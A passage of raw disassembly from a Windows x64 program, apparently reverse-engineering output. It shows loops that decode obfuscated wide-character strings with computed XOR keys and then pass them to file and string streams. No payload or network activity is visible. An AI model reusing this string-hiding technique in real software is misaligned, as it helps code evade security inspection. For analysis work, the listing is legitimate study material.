pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140030760]
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp + 0x20]
xorps xmm3, xmm1
movq qword [rbp + 0x20], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rbp + 0x18]
lea r10, [r10 + rax*2]
nop
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3e
movzx r8d, r9w
sub r8w, cx
add r8w, r8w
mov eax, 0xa57eb503
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x63
sub r8w, cx
add r8w, 0x1b
xor word [r10], r8w
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xf
jl 0x14000d980
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x290]
call fcn.140021760
lea rdx, [rbp + 0x1b8]
mov r8, qword [rbp + 0x1c8]
mov rcx, rax
cmp qword [rbp + 0x1d0], 7
jbe 0x14000da0e
mov rdx, qword [rbp + 0x1b8]
call fcn.140022ea0
mov r11, rax
movzx eax, word [0x14002fce8]
movsd xmm0, qword [0x14002fce0]
movups xmm11, xmmword [0x14002fcd0]
mov word [rbp - 0x18], ax
movsd qword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x30], xmm11
mov r9d, r12d
cmp ebx, 2
jl 0x14000dbe2
movdqa xmm6, xmmword [0x1400307e0]
movdqa xmm7, xmmword [0x1400307d0]
movdqa xmm10, xmmword [0x140030790]
movdqa xmm5, xmmword [0x140030740]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140030770]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140030760]
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 0x30], xmm3
movdqa xmm5, xmmword [0x140030750]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140030770]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140030760]
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x28]
xorps xmm3, xmm1
movq qword [rbp - 0x28], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rbp - 0x30]
lea r10, [r10 + rax*2]
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3e
movzx r8d, r9w
sub r8w, cx
add r8w, r8w
mov eax, 0xa57eb503
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x63
sub r8w, dx
add r8w, 0x1b
xor word [r10], r8w
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xd
jl 0x14000dbf0
lea rdx, [rbp - 0x30]
mov rcx, r11
call fcn.140021760
lea rcx, [rbp + 0x298]
call fcn.1400207b0
test rax, rax
jne 0x14000dc8d
mov rax, qword [rbp + 0x290]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x290]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 7
jbe 0x14000dcd6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dcd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dcd1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002bc60
mov qword [rbp + 0x1c8], r12
mov qword [rbp + 0x1d0], 7
mov word [rbp + 0x1b8], r12w
xorps xmm0, xmm0
mov r14, qword [rbp + 0x10]
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], r12
movups xmm0, xmmword [rbp + 0x1d8]
movups xmmword [r14], xmm0
movups xmm1, xmmword [rbp + 0x1e8]
movups xmmword [r14 + 0x10], xmm1
mov qword [rbp + 0x1e8], r12
mov qword [rbp + 0x1f0], 7
mov word [rbp + 0x1d8], r12w
mov rax, qword [rbp + 0x290]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x290], rax
mov rax, qword [rbp + 0x290]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x28c], edx
lea rcx, [rbp + 0x298]
call fcn.14001e880
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x338]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 7
jbe 0x14000ddd6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ddd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ddd1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002bc60
mov qword [rbp + 0x1e8], r12
mov qword [rbp + 0x1f0], 7
mov word [rbp + 0x1d8], r12w
mov rdx, qword [rbp + 0x278]
cmp rdx, 7
jbe 0x14000de39
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000de34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000de34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002bc60
mov qword [rbp + 0x270], r12
mov qword [rbp + 0x278], 7
mov word [rbp + 0x260], r12w
mov rcx, qword [rbp + 0x3a0]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rdx + 0x3a0], rax
mov rcx, qword [rbp + 0x3a0]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x88]
mov dword [rbp + rdx + 0x39c], r8d
lea rcx, [rbp + 0x3a8]
call fcn.14001ef70
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x428]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov rax, r14
jmp 0x14000df0c
mov word [rsp + 0x34], r12w
lea rdx, [rsp + 0x34]
mov rcx, qword [rbp + 0x10]
call fcn.14001fee0
nop
lea rcx, [rbp + 0x290]
call fcn.14000dfe0
nop
lea rcx, [rbp + 0x1d8]
call fcn.140002760
nop
lea rcx, [rbp + 0x260]
call fcn.140002760
nop
lea rcx, [rbp + 0x3a0]
call fcn.14000df70
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x4150]
xor rcx, rsp
call fcn.14002bc40
lea r11, [rsp + 0x4300]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret